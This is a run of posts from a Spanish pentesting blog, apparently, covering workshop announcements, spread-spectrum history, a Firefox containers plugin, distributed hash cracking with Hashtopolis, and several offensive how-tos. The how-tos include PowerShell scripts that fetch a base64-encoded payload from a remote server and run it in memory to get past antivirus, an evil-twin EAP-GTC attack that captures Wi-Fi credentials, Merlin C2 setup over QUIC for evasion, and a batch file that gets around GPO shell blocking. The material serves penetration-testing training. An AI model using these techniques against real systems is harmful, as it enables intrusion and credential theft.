31 ene 2020

RootedLabs 2020: Ethical Hacking & Pentesting y mucho Offensive Powershell


No sé bien cómo empezar este post más allá de agradecer a RootedCON la confianza puesta en mí en todos estos años. Por octavo año tengo la oportunidad de impartir dos laboratorios. Durante estos 8 años los labs han ido cambiando, las temáticas han ido cambiando y los contenidos se han ido actualizando, pero algo no ha cambiado y es la ilusión que me hace seguir estando dando estos Lab. Así que solo puedo estar agradecido al equipo de RootedCON por la confianza. 

En esta ocasión, el día 3 de marzo de 2020 impartiré el taller "Offensive Powershell". Teniendo una duración de 8 horas prácticas y enfocado a varias cuestiones importantes en el ámbito del pentesting con Powershell. Este novedoso taller presenta el poder que Powershell ofrece al pentester en entornos como Windows (7/8/8.1/10). El taller ofrece diferentes entornos en los que iremos viendo cómo funciona Powershell, por qué es tan importante en el pentesting de hoy en día y cómo poder crear algunas funciones que necesitemos en nuestro día a día. El taller se divide en 4 partes.

En la primera parte trabajaremos los conceptos básicos en los que se fundamenta Powershell. Con esta parte podremos crear pequeñas funcionalidades orientadas al pentest. En la segunda parte trabajaremos con los conjuntos de scripts más clásicos que han ido saliendo en los últimos años orientados a Pentesting (nishang, Powershell Mafia, Power up, etcétera). En la tercera parte trabajaremos con Empire. Empire es, posiblemente, el proyecto más potente en lo que a uso de Powershell en Pentesting se refiere. Entraremos a fondo en el uso de esta magnífica herramienta. La última parte se la dedicaremos a ibombshell y las posibilidades que trae la herramienta. Además, el alumno tendrá nociones para realizar una pequeña herramienta de pentesting con todo lo visto en el lab y de poder manejar estas potentes herramientas en su día a día.


Introducción Powershell
      Conceptos básicos & Comandos
      Scripting
     Variables
     Estructuras
     Bucles
     Funciones
      Pentesting I. Scripts aplicados a:
     Enumeración
     Recopilación
     Explotación
     Post-Explotación
     Escenarios prácticos aplicados
      Pentesting II. Empire
     Arquitectura
      Agents
      Listeners
      Stagers
     Tipos listeners
     Escenarios prácticos aplicados
      Inclusión agente Empire en máquina
      Recopilación información
      Elevación privilegios Empire
      Movimiento lateral Empire
      Pentesting III. Ibombshell
     Introducción a la herramienta
     Aprovechamiento carga dinámica
     Modos: Everywhere Vs Silently
     Escenarios prácticos aplicados
      Pentesting IV. Creando tu propia tool
     Creación de una pequeña tool orientada al pentest con Powershell

El día 4 de marzo de 2020 impartiré el taller "Ethical Hacking & Pentesting". El taller presenta diferentes técnicas orientadas al hacking ético de la actualidad. El enfoque del taller es eminentemente práctico y comienza con la contextualización del hacking ético, metodologías y modelos. El resto del taller tiene un enfoque de diferentes fases y técnicas utilizadas diariamente en diferentes auditorías y pentesting.



Tipos de auditorías
       Hacking ético: la ética
      Ley de Hacking
       Estándares y modelos
      Metodologías
      Vulnerabilidades
      Evaluación
       Ataques físicos
       Autenticación & Autorización
      Windows Logon
      Autenticación
      Access Token
      Control Cuentas Usuario - UAC
       Credenciales
      Hashes
      Extracción de credenciales
      Pass the hash
      Ataque NTLM Relay
       Explotación de sistemas
      Explotación remota
      Explotación local (escalada privilegio, bypass UAC)
       Técnicas de movimiento lateral (Lateral Movement - PtH & Pivoting)
       Obtención de los primeros datos de interés
      Ataques redes (ARP Spoof, DNS Spoof, MiTM)
      Ataques redes modernos (SSL Strip+, Delorean…)

La sala de formación se encuentra en el hotel Eurostars i-Hotel en la Ciudad de la Imagen (Madrid - España). El objetivo de estos dos RootedLab es, orientado a la práctica del hacking, profundizar en conceptos novedosos, aprovechar técnicas modernas de pentesting, aprender a sacar el máximo jugo a las herramientas y técnicas para aprovecharlo en el día a día y conocer los conceptos necesarios en el mundo de los sistemas Windows.

El precio de cada RootedLab es de 200€. Os esperamos. Más información en el sitio web de RootedCON y las formaciones

30 ene 2020

Ataque a 802.1X: EAP Dumb-Down

¡Muy buenas, amigos de las ondas!

Existe una gran cantidad de cosas que podemos hacer durante una auditoría Wi-Fi, siendo un arte por sí mismo. Hoy os traemos un truco (trucazo) que nos puede ayudar enormemente cuando auditemos una red Wi-Fi que utilice autenticación 802.1X. Antes de entrar en materia, nos gustaría informaros de la autoría de este este maravilloso truco: Raúl Siles (presentado en Rooted2013).

Bien, antes un poco de teoría:

Mientras que en redes inalámbricas domésticas la seguridad se basa en la autenticación mediante contraseña (o sea, WPA), en entornos corporativos esta autenticación se suele hacer a través de un servidor RADIUS, haciendo uso de unas credenciales. Esta autenticación se hace a través del framework EAP (Extensible Authentication Protocol), el cual permite una gran cantidad de métodos de autenticación distintos, como EAP-TLS, EAP-SIM, EAP-AKA, PEAP, LEAP y EAP-TTLS.

Por lo general, los dispositivos móviles utilizan el método cifrado PEAP (Protected EAP) por defecto, pero lo podrán cambiar si el punto de acceso establece un método distinto. Por otro lado, existe un método llamado EAP-GTC (EAP-Generic Token Card), el cual permite el intercambio de un reto-respuesta... en claro.

¿Ya sabéis por dónde van los tiros? :)


Ahora vamos a la segunda parte de este post: Vamos a montar un evil twin que fuerce el método EAP-GTC para la autenticación, lo que se denomina como ataque EAP dumb-down. Es importante tener en cuenta que esto únicamente funcionará con puntos de acceso sin certificado (de lo contrario no se enviarán las credenciales).

Una de las herramientas más útiles a la hora de levantar un punto de acceso con autenticación RADIUS es hostapd-wpe, la cual permite establecer una configuración del servidor de una manera sencilla a través de unos ficheros de configuración.

Una vez instalada, tendremos que modificar dos ficheros para llevar a cabo el ataque:
  • hostapd-wpe.conf: en este fichero indicaremos la interfaz inalámbrica, canal de emisión y SSID a utilizar. 
  • hostapd-wpe.eap_user: en este fichero estableceremos las formas de autenticación que soportará el servidor RADIUS. En este caso, forzaremos a utilizar el método EAP-GTC añadiendo las siguientes líneas:
* PEAP [ver=1]
"t" GTC "password" [2]


Por último, lanzamos hostapd-wpe de la siguiente manera:

hostapd-wpe hostapd-wpe.conf -dddddd | grep "EAP-GTC: Response" -A 5 -B 20

De este modo, en las trazas de debug aparecerán en claro las credenciales que se hayan intentado autenticar (usaremos el grep para filtrar del resto de ruido de trazas de debug).

Credenciales obtenidas en un Android...
... y en un iPhone

29 ene 2020

Teleco in a nutshell v9.0: Espectro ensanchado

¡Muy buenas!

Imaginemos la situación: estamos en medio de la Segunda Guerra Mundial y los nazis nos interceptan todas las comunicaciones por radio, e incluso pueden generar interferencias en el mismo canal, dejándonos sin comunicaciones. ¿Quién en su sano juicio inventaría un misil teledirigido?

El 11 de agosto de 1942 se publica una patente que podría solucionar este problema. Sus inventores fueron el músico George Antheil y la famosísima actriz e ingeniera Hedy Lamarr.

Lamarr había sufrido un matrimonio de conveniencia con un proveedor de municiones y aviación de Hitler y Mussolini, quien la mantuvo secuestrada durante años, que ella aprovechó para estudiar ingeniería. Tras escapar y volver a Estados Unidos diseñó junto a Antheil esta patente, con la cual se podría controlar un torpedo teledirigido (si bien es cierto que nunca llegó a aplicarse dada la complejidad de su uso en un entorno bélico durante la Segunda Guerra Mundial).

La idea residía en el uso de una técnica más o menos conocida en aquella época (las primeras menciones a esta técnica las realizó Nikola Tesla en 1903) denominada salto en frecuencia. Consistía en ir modificando la frecuencia de transmisión de la señal siguiendo un patrón conocido por emisor y receptor. De este modo, cualquier tercero que intente interceptar esta comunicación no podrá obtener el mensaje, ya que su receptor no podrá seguir el patrón de saltos ni abarcar todo el ancho de banda posible, que pasaba a ser mucho más ancho (de ahí el nombre de espectro ensanchado).

Espectro ensanchado por salto en frecuencia. Observad como aumenta el ancho de banda del ancho de una cajita (banda estrecha) a la banda F1-F4 (banda ensanchada) [ResearchGate]

Pese a que no se llegó a usar, la idea era revolucionaria y se pudo aplicar años después (al caducar la patente, qué sorpresa...) en la crisis de los misiles de Cuba en 1962. En los años 80 comenzó a usarse en el mundo civil, siendo su primer gran éxito su uso en las primeras versiones del estándar IEEE 802.11 (Wi-Fi), aunque fue posteriormente sustituido por otras modulaciones que ofrecían un mayor ancho de banda. Actualmente, su uso más conocido es en Bluetooth [nuestro compañero Francisco nos habla más en detalle sobre ello aquí].

Existe otro tipo de técnica de espectro ensanchado llamada secuencia directa el cual es bastante engorroso de entender, salvo que se realice un "acto de fe". La idea es que se multiplique la señal digital con otra señal pseudoaleatoria de mucha mayor frecuencia. De este modo, se obtiene una señal con un ancho de banda mucho mayor y de menor amplitud, que podrá ser devuelta a su estado original volviendo a multiplicarla por la señal pseudoaleatoria. De este modo, si apareciese una interferencia de banda estrecha no afectaría, ya que (aquí llega el acto de fe) al multiplicar por la señal pseudoaleatoria, la señal de banda ancha se vuelve estrecha y viceversa, por lo que el ruido queda atenuado.

Espectro ensanchado por secuencia directa. ¿Veis cómo se "desparrama" el espectro?  [Medium]


Si una interferencia afecta a la señal ensanchada, al recuperarse, la interferencia es la que se "desparrama", perdiendo efecto [Wikipedia]

Esta técnica también fue utilizada en las primeras versiones del estándar IEEE 802.11, siendo sustituida por otras modulaciones y teniendo poco uso en nuestros días.

¡Y hasta aquí por hoy! En el siguiente (y último...) post de Teleco in a Nutshell os hablaremos de algo (que seguramente conoceréis) en lo que podréis aplicar todos los conocimientos que hemos aprendido en estos posts: el HackRF. Con él podremos hacer auténticas peripecias telequiles (o al menos escuchar la radio de una manera muy pro).

¡Gracias por leernos!

Y ya sabéis ;)

28 ene 2020

#QUIC, la espada Excalibur del Command & Control

Muy buenas a todos, el pasado Viernes 24 de enero, mis compañeros Juan Antonio y Jesús participaron en Sh3llcon con su charla de "Next QUIC 2.0: Aún más rápido", en la cual pude contribuir un poco :P

Hoy os vengo a contar una de las demos que se presentaron en la charla sobre un C2 que funcionaba sobre QUIC, que como bien habéis podido ver en los posts anteriores de QUIC, es algo complicado de detectar sino se configura explícitamente. Así que sin demorarnos más... ¡Vamos a ello!

¿Qué es Merlin?


Merlin es una plataforma de Command & Control escrita en Go y creada por Ne0nd0g. Al estar escrita en Go, permite que los agentes desplegados puedan compilarse fácilmente en cualquier arquitectura mediante cross-compile. Merlín fue creado con la idea principal de utilizar tráfico HTTP/2 en la transmisión de comandos del servidor a los agentes, pero no fue hasta 2018 cuando se implementó el protocolo QUIC en la aplicación, ya que surgió de la librería quic-go.

En este post explicaremos cómo utilizarlo y configurarlo mediante las releases del proyecto, y si os gusta el proyecto, en posteriores posts os explicaremos cómo integrarlo con los módulos de Metasploit y compilar directamente los agentes desde su fuente :P

Descarga y configuración del Server y Agent

Suponiendo un entorno Linux de 64 bits, procederemos a descargar los 7z asociados en un entorno controlado. A fecha de escritura de este post, la última versión disponible es la 0.8.0 BETA, y como en todas las releases, la password del fichero 7z es: "merlin"

wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinAgent-Linux-x64-v0.8.0.BETA.7z
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z

Podemos descomprimirlos con 7z desde CLI (si lo tenemos instalado):

7z x merlinAgent-Linux-x64-v0.8.0.BETA.7z
7z x merlinServer-Linux-x64-v0.8.0.BETA.7z


Antes de poder iniciar nuestro servidor, deberemos generar un certificado X.509 para la comunicación. Nosotros lo hemos realizado con el siguiente comando, pero podéis sentiros libres de realizarlo con cualquier otro método :)

(Recordad que debéis hacer esto o, mover el fichero a /MERLINPATH/data/x509/ )

openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj "/CN=letsvisit.flu" -days 30

Ejecutando el Server y el Cliente



Como habéis podido observar en la imagen anterior, basta simplemente con definir el protocolo a utilizar con el tag "proto" y la contraseña para la primera comunicación entre Agente y Servidor.

Podéis ejecutarlo sin necesidad de sudo siempre y cuando vuestra configuración lo permita, de igual forma os dejo por aquí el comando utilizado por si seguís este post a modo de tutorial ;)

sudo ./merlinServer-Linux-x64 -proto hq -psk L3t5v1s1tFlu


Para ejecutar el cliente, basta con definir en local el protocolo y la contraseña inicial.

./merlinAgent-Linux-x64 -proto hq -psk L3t5v1s1tFlu

En caso de que queráis probarlo en un entorno controlado de distintas máquinas y con otro puerto que no sea 443, siempre podéis hacerlo especificándolo con --url "https://zero.cool:1337", por ejemplo.

Let's Command and Control!

Una vez nuestro servidor esté a la espera de conexiones, solo deberemos lanzar el agente como hemos visto arriba, para poder hacer la verdadera magia:


A partir de este momento, identificamos que agente acabamos de recibir, pudiendo interactuar con él mediante su GUID. Para ello hacemos:

agent interact GUID
info

Y obtendremos la siguiente información:


En la captura podéis observar un tiempo de espera (Agent Wait Time) del agente para consultar al servidor si tiene operaciones que realizar para él. Por defecto son 30 segundos, lo cual es algo tedioso si queremos ejecutar comandos de manera rápida, así que lo estableceremos entre 3 y 5 segundos. Para ello,  ejecutaremos una sentencia set, y un comando para verificar cómo acumula tareas nuestro agente:


Evasión

Si observamos el tráfico que han estado realizando Servidor y Agente, vemos que en todo momento se ha realizado sobre UDP y a su vez, sobre QUIC.


Espero que os haya gustado este post, y si queréis más posts sobre esta herramienta o cualquier otra escrita en Go (o Golang :P) no dudéis en compartirlo y hacérnoslo saber.

¡Un saludo!

27 ene 2020

Obteniendo un CMD cuando la GPO te dice 'nope'

¡Muy buenas!

Hoy os traemos un post muy pequeño, con un truco muy grande.

¿Alguna vez habéis tenido que hacer alguna auditoría donde por GPOs han bloqueado el uso de CMD y Powershell? Existen algunos trucos para abrir una terminal, desde ejecutar manualmente cmd.exe a abrir la terminal desde el explorador de archivos.

No obstante, si aún así no podéis abrir una terminal, no desesperéis, que aún os queda una bala en la recámara. Seguramente no se pueda abrir una CMD, pero sí se puedan ejecutar ficheros batch (bloquear esto sería un gran problema para el funcionamiento del sistema). Por tanto, abrid un Notepad y guardad lo siguiente como un fichero .bat (cuidado con los espacios):

   @echo off
   :loop
   set /p _cmd= "%CD%>"
   %_cmd%
   goto :loop

Doble clic en el fichero y... ¡Tachán! Habemus CMD :)


Vale, vale... ¿Qué narices hace esto?
  1. Desactiva el "echo", esto es, el prompt que sale en CMD con el path (C:\>), así como el valor de una variable antes de ser ejecutada.

  2. Entra en un bucle infinito en el que:
    • Se define una variable con un valor intoducido por el usuario a través de un prompt. Se mostrará el mensaje "%CD%>", que es el path en el que está el usuario (ya que no se muestra al estar en "@echo off").

    • Se ejecuta la variable con el prompt que haya introducido el usuario

A continuación, mostramos el output del CMD sin el @echo off, donde se aprecia mejor el bucle que hemos explicado.


Sin embargo, con "@echo off" a efectos prácticos tenemos una shell normal.


¿Y si quisiéramos tener una Powershell, si su binario ha sido eliminado? Pues eso ya no será tan fácil, pero sí que es posible tener Powershell sin Powershell... Pero eso ya lo hablamos otro día ;)

¡Saludos!


24 ene 2020

Firefox Multi-Account Containers

Buenas a todos, en el post de hoy quería hablaros del plugin para Firefox, Multi-Account Containers. Un simple plugin que os permitirá separar vuestras identidades digitales en diferentes contenedores (cookies incluídas).








Aunque originariamente fue pensado para separar nuestra vida profesional, de la personal, y dentro de ella, de la más confidencial (banca y compras), es uno de los plugins que más me gustan para tareas de Inteligencia y con el que podremos manejar múltiples identidades. 

Cualquier plugin que permita mejorar la metodología, reducir al mínimo la posibilidad de cometer errores y ayudar a mejorar la privacidad, es bien recibido por la comunidad de analistas de inteligencia :) Aunque los iconos son algo limitados, la posibilidad de agregar cualquier nombre al contenedor, y la distinción por colores, seguro que os ayuda a gestionar las identidades de forma sencilla.

Añadidlo a vuestros favoritos ;)

Saludos!

23 ene 2020

Scripts para bypassear un antivirus perimetral muy noob

¡Muy buenas!

Pongámonos en situación: imaginemos que estamos comenzando la auditoría de un sistema Windows en la red de un cliente. Supongamos que el disco está cifrado, cortando de raiz nuestros sueños de hacernos SYSTEM en unos pocos segundos ('shift', 'shift', 'shift', 'shift', 'shift' :) En este momento nos tiembla un párpado: va a tocar currárnoslo un poco.

El gesto inconsciente que nos puede asaltar en este momento es tirar de PowerUp, pero al descargar el fichero nos salta el antivirus. "Bueno, lo descargo en memoria con PowerShell", dices. Vas a por ello, pero nos comemos un error de descarga: parece que hay un antivirus perimetral.




Hoy no es tu día. Pero no te desesperes, que hay formas de pasar tu hacktool a través del antivirus perimetral sin que se entere, y te lo vamos a explicar :)

La idea es bastante sencilla: codificar en base64 el payload en tránsito (o cifrarlo si el antivirus no es tan noob) y descodificarlo/descifrarlo una vez esté descargado en memoria (y cruzar los dedos para que el antivirus de host no lo detecte).

La idea sería levantar un servidor web desde una máquina controlada por nosotros donde esté el payload en base64, descargarlo a memoria con Powershell, descodificarlo y ejecutarlo. Para ello os compartimos un par de scripts (de andar por casa, no me juzguéis), que espero que os sean de gran utilidad:

Primer paso: codificar el payload en el servidor


A continuación os mostramos un pequeño script .ps1 que convierte un fichero de texto cualquiera a base64. Suena sencillo (y lo es, tampoco nos engañemos), pero hay que tener en cuenta que, al menos con Windows, los retornos de carro y algunos caracteres (como la almohadilla, que estará presente en muchas líneas de comentarios) tienen problemas a la hora de descodificarse desde base64.

En concreto, lo que hace el script es parsear el fichero cambiando los retornos de carro por el identificador '_CARRET_' y las almohadillas por el identificador '_HASHSYMBOL_". Tras esto, se convierte en un string con los bytes en Unicode, y de ahí a un string en base64, escribiéndose en un fichero llamado encodedPayload.txt.

$path = "./payload/en/claro.txt"
$file = (Get-Content $path) -join '_CARRET_' -replace "#","_HASHSYMBOL_"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($file)
$encodedText =[Convert]::ToBase64String($bytes)
$encodedText > encodedPayload.txt

Segundo paso: descargar a memoria, descodificar y ejecutar


En este segundo paso se utiliza otro script que realiza el proceso inverso. Primero descarga el payload codificado en memoria, lo descodifica de base64 y sustituye los identificadores '_CARRET_' y '_HASHSYMBOL_' por la almohadilla y el retorno de carro ('`n' en Windows). En este punto tendremos cargado el payload en memoria, listo para ejecutarse. Finalmente, el script ejecuta el payload, habiéndose bypasseado así al noob del antivirus perimetral (y seguramente también al de host, si es que no analiza la memoria).

$url = Read-Host -Prompt 'URL'
$encodedText = (New-Object Net.WebClient).DownloadString($url)
$decodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedText))
$originalText = $decodedText -replace "_HASHSYMBOL_","#" -replace "_CARRET_","`n"
$originalText

¡Pues ya estaría! Si el antivirus perimetral te hace un poco la puñeta y descodifica el base64, tendremos que cifrar el payload o (si nos vemos muy fuertes) inventar una codificación exótica que el antivirus no vaya a sacar. No obstante, hay que tener cuidado en utilizar siempre funciones que vengan por defecto en Powershell ¡no vaya a ser que el equipo que estemos auditando no pueda descifrar/descodificar tu payload!

¡Saludos!

22 ene 2020

Cracking distribuido con Hashtopolis (Parte II)

¡Muy buenas!

En el último post os hablamos de Hashtopolis, y os explicamos brevemente cómo instalar el servidor y añadir un cliente. En esta parte os hablaremos de cómo usar esta aplicación.

Esta aplicación diferencia cuatro grandes elementos necesarios para realizar un cracking:
  • Crackers: son los binarios de las herramientas que se enviarán a los agentes para realizar el cracking, siendo hashcat v5.1.0 la versión usada actualmente por defecto.
  • Files: son los diccionarios y reglas que queramos aplicar a hashcat, a la hora de realizar el crakcing.
  • Lists: son los ficheros a crackear. Hashtopolis diferencia entre hashlists y superhashlists (como un conjunto de hashlists que se crackean a la vez, pero se mantienen en ficheros separados)
  • Tasks: son las acciones de cracking. Al crear una task, se eligen los ficheros necesarios (diccionarios y reglas), así como el (super)hashlist que vamos a crackear, y se asignan los agentes deseados para llevar a cabo la tarea.
De este modo, lo primero que necesitaremos para crackear nuestros codiciados hashes será importar los diccionarios y reglas que queramos en la sección files.


Una vez introducidos los ficheros necesarios, añadiremos una lista de hashes NTLM que queramos crackear. Aquí aparece un "pero", y es que la aplicación falla si importamos los ficheros con algún tipo de estructura compleja del tipo usuer:hash o user:lm:ntlm (como el que podemos obtener al extraer la SAM de un equipo o dumpear un AD); mientras que un hashcat normal importa el fichero sin problemas y se queda con la información que necesita, en este caso, por las modificaciones que hace para repartir el hashlist entre los distintos agentes, peta... por lo que recomendamos únicamente crackear listas con únicamente hashes y posteriormente usar los crackeados en otro equipo para hacer las tuplas usuario-hash-password.

Pues bien, para importar un fichero de hashlist vamos a Lists > New Hashlist y subimos el fichero (o pegamos los hashes) que queramos crackear, indicando el tipo de fichero que queremos crackear, en este caso 1000-NTLM


Tras esto, generamos una nueva tarea yendo a Tasks > New Task e introducimos los datos solicitados: nombre de la tarea, hashlist a crackear, diccionarios y reglas. Hashtopolis nos dejará jugar con más parámetros como el cracker a utilizar o forzar a un uso de sólo CPU, pero para este post nos centraremos en lo básico.


Una vez creada la tarea, únicamente habrá que asignarle agentes para que empiecen a crackear. En este caso, tengo dos equipos en mi casa con los que jugar: Doraemon (un equipo potente) y Nobita (un equipo con 10 años dando caña). Asigno a ambos a esta tarea y Hashtopolis envía los hashcat a ambos equipos, junto con un fragmento del hashlist. Tras esto decomprime el ZIP y ejecuta un benchmark con hashcat en cada uno de ellos, con el objetivo de repartir el hashlist de manera óptima. Tras esto, se lanza en todos los equipos el comando para crackear con hashcat, y lee periódicamente de un fichero .out los hashes crackeados.
¿Veis como Hashtopolis le da casi un 92% del hashlist a Doraemon al tener mejor rendimiento?
Finalmente, podemos ir a la sección Lists > Hashlists, donde podremos ver el estado actual del cracking. En este caso, con una pasada del diccionario Kaonashi14M y las reglas yubaba64 (lo más ligero y rápido) he conseguido crackear 130 de 577 hashes NTLM. Not bad...


La verdad es que la herramienta es muy chula. Además de lo que os he contado, tiene algunos detalles interesantes como indicar que un hashlist contiene datos secretos (con lo cual, únicamente los agentes designados como fiables podrán crackearlo), o asignar grupos de agentes a un usuario determinado, evitando que éste tenga acceso a todos los equipos.

Ya veremos qué tal funciona en un entorno con muchos equipos, os contaré ;)

¡Saludos!

21 ene 2020

Cracking distribuido con Hashtopolis (Parte I)

¡Muy buenas!

¿Quieres crackear más rápido de lo que aguanta un Windows 95 en una CON pero no tienes dinero para ocho GTX 1080? Si la respuesta es sí, ¿tienes varios equipos en tu casa u oficina? Si la respuesta también es sí sigue leyendo, que esto te interesa.

El otro día estaba un compañero crackeando hashes con una 2060 mientras los demás estábamos detrás babeando cuando se me ocurrió una idea: en nuestro equipo tenemos portátiles con GPUs bastante decentes, pero... ¿y si las juntásemos para hacer un crackeo distribuido?

Entonces empecé a mirar distintas herramientas que permitieran esto: Hashview, CrackLord y... Hashtopolis; con la cual decidí hacer pruebas, a ver qué tal.


Hashtopolis es una aplicación cliente-servidor que permite coordinar a una serie de equipos para repartirse la carga de trabajo a la hora de crackear con Hashcat. El servidor está desarrollado en PHP y requiere una serie de prerrequisitos para su correcto funcionamiento (un usuario en MySQL, phpMyAdmin, un servidor Apache, etc.). Para instalar todos los componentes necesarios para que Hashtopolis funcione, deberéis seguir las instrucciones de este enlace, donde incluso hay un vídeo que muestra aún más información sobre pasos a realizar (por ejemplo, aumentando el tamaño máximo de subida de ficheros del servidor Apache).

Una vez tenemos todo listo, descargamos el servidor de Hashtopolis del siguiente enlace o hacemos un clonado del repositorio en GitHub. En cualquier caso, dejaremos los ficheros extraidos en el directorio www del servidor Apache, lo configuramos para que cargue esta aplicación por defecto (se explica en el vídeo) y accedemos desde un navegador.

La primera vez que accedamos, entraremos en un instalador en el cual daremos acceso a la base de datos MySQL que hayamos creado junto con las credenciales que hayamos generado para que use Hashtopolis. Tras esto, rellenará la base de datos con todas las tablas que necesite para funcionar y nos pedirá crear un usuario administrador para la aplicación.

Una vez listo el servidor, podremos añadir distintos clientes (agentes) con los cual podremos crackear de forma distribuida. Para ello, accederemos a Agents > New Agent y descargaremos el fichero hashtopolis.zip que nos dice el servidor. En el equipo que vaya a ser cliente, ejecutamos este fichero con el comando python3 hashtopolis.zip teniendo en cuenta que deberemos tener instalados los paquetes requests y psutils (pip es nuestro amigo). El programa nos pedirá una API URL, que podremos ver en el servidor (debería ser la URL http://IP/api/server.php) y un voucher que deberemos habilitar previamente en el servidor.
¿Veis la API URL y el voucher que se va a validar?
Ya que tenemos la arquitectura cliente(s)-servidor montada, en el próximo post os contaremos cómo se realizaría el crack de un fichero lleno de hashes NTLM de forma distribuida.

¡Saludos!

20 ene 2020

Empieza el movimiento: Enero y Febrero y lo que viene

Hace poco Juan Antonio y yo estábamos haciendo el resumen del año, pero desde que llegó el día 3 de enero yo estoy trabajando y comenzamos el año con ilusiones, con retos y con muchas ganas de hacer más cosas y mejores cosas. Esto lo intento aplicar a todo lo que me rodea, no solo al ámbito profesional. El tiempo es nuestro gran problema. Cuando algunos piensan: ¿De dónde sacáis el tiempo? Al final, cuando uno quiere, lo consigue... saca tiempo de dónde sea. Pero cuesta, no lo dudéis. 

Hoy quería hablar de la intensa semana y de las semanas que están por llegar. En esta semana se celebra la VII Edición de Ciberseg, evento que junta a fuerzas y cuerpos de seguridad con estudiantes en la Universidad de Alcalá. Tengo la suerte de repetir en este evento lleno de amigos.  

Y rumbo a Cantabria para estar por sexta vez en Sh3llcon. Santander es mi casa y estar allí me llena de orgullo (y satisfacción). Desde Flu Project se lanzaron una entradas gratuitas que espero que sean aprovechadas por los ganadores para disfrutar de los talleres y charlas que allí se hará. Y del CTF, donde habrá sorpresas. Allí estaremos el 24 y 25 de enero para disfrutarlo.


El 20 y 21 de febrero se lleva a cabo hackron. El evento que suma una nueva edición y del cual he podido disfrutar en ya unas cuantas ocasiones. Allí estaré para impartir un taller "Pentesting Hero Lab: Aprende técnicas y fases del pentest". Preguntad a la gente de hackron porque el taller va con libro de la editorial de 0xword. Aprovecha este taller de 4 horas si estás en la isla para poner en práctica técnicas modernas de hacking ético y Red Team. 


Allá por el 25 de febrero tengo una cita con PUE, la conoceréis por las certificaciones para una charla sobre la que ya comentaré vía redes. Por último, el 29 de febrero tengo la suerte de poder estar, un año más, en Morteruelo CON, en mi querida Cuenca. El taller será sobre pivoting y pentesting.


Respira. Piensa. Coge fuerza. A por ello.